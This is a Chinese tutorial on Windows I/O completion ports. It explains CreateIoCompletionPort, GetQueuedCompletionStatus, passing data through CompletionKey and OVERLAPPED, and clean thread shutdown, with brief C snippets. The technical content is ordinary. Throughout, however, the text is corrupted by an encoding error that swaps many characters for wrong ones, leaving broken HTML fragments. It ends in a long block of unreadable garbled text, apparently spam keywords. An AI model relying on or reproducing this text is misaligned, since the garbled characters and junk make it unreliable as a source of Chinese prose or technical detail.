宏HasOverlappedIoCompleted可以帮助我们试重叠I/0操作是否完成Q该宏对OVERLAPPEDl构的Internal成员q行了测试,查看是否{于STATUS_PENDING倹{?br>
?完成端口的内部机?br>   1、创建完成端?br>       完成端口是一个内核对象,使用时他L要和臛_一个有效的讑֤句柄q行兌Q完成端口是一个复杂的内核对象Q创建它的函数是Q?br>HANDLE CreateIoCompletionPort(
    IN HANDLE FileHandle,
    IN HANDLE ExistingCompletionPort,
    IN ULONG_PTR CompletionKey,
    IN DWORD NumberOfConcurrentThreads
    );
通常创徏工作分两步:
W一步,创徏一个新的完成端口内核对象,可以使用下面的函敎ͼ
       HANDLE CreateNewCompletionPort(DWORD dwNumberOfThreads)
{
          return CreateIoCompletionPort(INVALID_HANDLE_VALUE,NULL,NULL,dwNumberOfThreads);
};  
W二步,刚创徏的完成端口和一个有效的讑֤句柄兌hQ可以用下面的函数Q?br>       bool AssicoateDeviceWithCompletionPort(HANDLE hCompPort,HANDLE hDevice,DWORD dwCompKey)
{
          HANDLE h=CreateIoCompletionPort(hDevice,hCompPort,dwCompKey,0);
          return h==hCompPort;
};
说明
1Q?nbsp; CreateIoCompletionPort函数也可以一ơ性的既创建完成端口对象,又关联到一个有效的讑֤句柄
2Q?nbsp; CompletionKey是一个可以自己定义的参数Q我们可以把一个结构的地址赋给它,然后在合适的时候取出来使用Q最好要保证l构里面的内存不是分配在栈上Q除非你有十分的把握内存会保留到你要使用的那一刅R?br>3Q?nbsp; NumberOfConcurrentThreads通常用来指定要允许同时运行的的线E的最大个数。通常我们指定?Q这Ll会ҎCPU的个数来自动定?br>创徏和关联的动作完成后,pȝ会将完成端口兌的设备句柄、完成键作ؓ一条纪录加入到q个完成端口的设备列表中。如果你有多个完成端口,׃有多个对应的讑֤列表。如果设备句柄被关闭Q则表中自动删除该纪录?br>
   2、完成端口线E的工作原理
       完成端口可以帮助我们理U程池,但是U程池中的线E需要我们用_beginthreadex来创建,凭什么通知完成端口理我们的新U程呢?{案在函数GetQueuedCompletionStatus。该函数原型Q?br>BOOL GetQueuedCompletionStatus(
    IN  HANDLE CompletionPort,
    OUT LPDWORD lpNumberOfBytesTransferred,
    OUT PULONG_PTR lpCompletionKey,
    OUT LPOVERLAPPED *lpOverlapped,
    IN  DWORD dwMilliseconds
);
q个函数试图从指定的完成端口的I/0完成队列中抽取纪录。只有当重叠I/O动作完成的时候,完成队列中才有纪录。凡是调用这个函数的U程被攑օ到完成端口的{待U程队列中,因此完成端口可以在自己的线E池中帮助我们维护这个线E?br>完成端口的I/0完成队列中存放了当重叠I/0完成的结?--- 一条纪录,该纪录拥有四个字D,前三就对应GetQueuedCompletionStatus函数???参数Q最后一个字D|错误信息dwError。我们也可以通过调用PostQueudCompletionStatus模拟完成了一个重叠I/0操作?br>当I/0完成队列中出CU录Q完成端口将会检查等待线E队列,该队列中的线E都是通过调用GetQueuedCompletionStatus函数使自己加入队列的。等待线E队列很单,只是保存了这些线E的ID。完成端口会按照后进先出的原则将一个线E队列的ID攑օ到释攄E列表中Q同时该U程从{待GetQueuedCompletionStatus函数q回的睡眠状态中变ؓ可调度状态等待CPU的调度?br>基本上情况就是如此,所以我们的U程要想成ؓ完成端口理的线E,必要调用
GetQueuedCompletionStatus函数。出于性能的优化,实际上完成端口还l护了一个暂停线E列表,具体l节可以参考《Windows高~程指南》,我们现在知道的知识,已经_了?br>
   3、线E间数据传?br>       U程间传递数据最常用的办法是在_beginthreadex函数中将参数传递给U程函数Q或者用全局变量。但是完成端口还有自q传递数据的ҎQ答案就在于CompletionKey和OVERLAPPED参数?br>CompletionKey被保存在完成端口的设备表中,是和讑֤句柄一一对应的,我们可以与讑֤句柄相关的数据保存到CompletionKey中,或者将CompletionKey表示为结构指针,q样可以传递更加丰富的内容。这些内容只能在一开始关联完成端口和讑֤句柄的时候做Q因此不能在以后动态改变?br>
OVERLAPPED参数是在每次调用ReadFileq样的支持重叠I/0的函数时传递给完成端口的。我们可以看刎ͼ如果我们不是Ҏ件设备做操作Q该l构的成员变量就Ҏ们几乎毫无作用。我们需要附加信息,可以创徏自己的结构,然后OVERLAPPEDl构变量作ؓ我们l构变量的第一个成员,然后传递第一个成员变量的地址lReadFile函数。因为类型匹配,当然可以通过~译。当GetQueuedCompletionStatus函数q回Ӟ我们可以获取到第一个成员变量的地址Q然后一个简单的强制转换Q我们就可以把它当作完整的自定义l构的指针用,q样可以传递很多附加的数据了。太好了Q只有一点要注意Q如果跨U程传递,h意将数据分配到堆上,q且接收端应该将数据用完后释放。我们通常需要将ReadFileq样的异步函数的所需要的~冲区放到我们自定义的结构中Q这样当GetQueuedCompletionStatus被返回时Q我们的自定义结构的~冲区变量中存放了I/0操作的数据?br>CompletionKey和OVERLAPPED参数Q都可以通过GetQueuedCompletionStatus函数获得?br>   4、线E的安全退?br>       很多U程Z不止一ơ的执行异步数据处理Q需要用如下语?br>while (true)
{
       .。。。。。?br>       GetQueuedCompletionStatus(...);
              。。。。。?br>}
那么如何退出呢Q答案就在于上面曾提到的PostQueudCompletionStatus函数Q我们可以用它发送一个自定义的包含了OVERLAPPED成员变量的结构地址Q里面包含一个状态变量,当状态变量ؓ退出标志时Q线E就执行清除动作然后退出?

]]>
Ʒþù鶹99վ| þþþþùƷ볬| պĻþ| þĻƷһ| þ˾Ʒԭ| һaƬþëƬ| þAVۺϺɫ| ޾Ʒһ߾þ| þٸ۲AVר| ɫ͵͵88888ŷƷþþ| ݹƷþþþþ | þ99ۺϾƷ| þۺϹ׾Ʒ| 99þþƷձһ| þùƷ99þþþþ | ŷ鶹þþþþ| պ޹ۺϾþþ| ɫþ| ޾ƷŮþþ| þ99Ʒһ| 18պҹþó| þѹƷ| þþþAVƬ| þþþ޾Ʒ| þ޹ŷ޾Ʒһ| þþƷѿ| þwww˳ɿƬ| ƷþþþþӰԺ| ŷսպ91ۺһþþ| ھƷ˾þþӰԺ| 99ȳ˾ƷȾþ669| ĻþӰԺ| þ㽶ۺɫһۺɫ88| þþƷþý| 2021þùԲľƷ| 2021ھþþƷ| ˾Ʒþ޸岻 ˾Ʒþ޸岻 ˾Ʒþ | ޳avƬþ| þþƷAVӰ| Ʒþþþþþþ| AþþƷ|